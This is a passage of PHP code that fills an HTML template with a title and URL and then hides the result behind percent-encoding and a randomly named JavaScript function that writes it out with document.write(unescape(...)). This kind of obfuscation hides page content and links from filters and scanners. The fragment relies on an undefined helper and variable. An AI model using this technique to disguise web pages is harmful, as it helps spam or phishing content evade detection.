1 function getR($length){
2 $str = null;
3 $strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
4 $max = strlen($strPol)-1;
5
6 for($i=0;$i<$length;$i++){
7 $str.=$strPol[rand(0,$max)];
8 }
9
10 return $str;
11 }
12
13 $t = file_get_contents('template.html');
14 $html = str_replace(
15 array('{title}','{url}'),
16 array($ff['name'],$ff["url"]),
17 $t
18 );
19
20 $html=e_cape($html);
21 $html=str_replace('%',' ',$html);
22 $change=getR(rand(8,20));
23 }
24 ?>
25 <script>function <?php echo $change;?>(<?php echo $change;?>){document.write((unescape(<?php echo $change;?>)));};<?php echo $change;?>("<?php echo $html;?>".replace(/ /g,'%'));</script>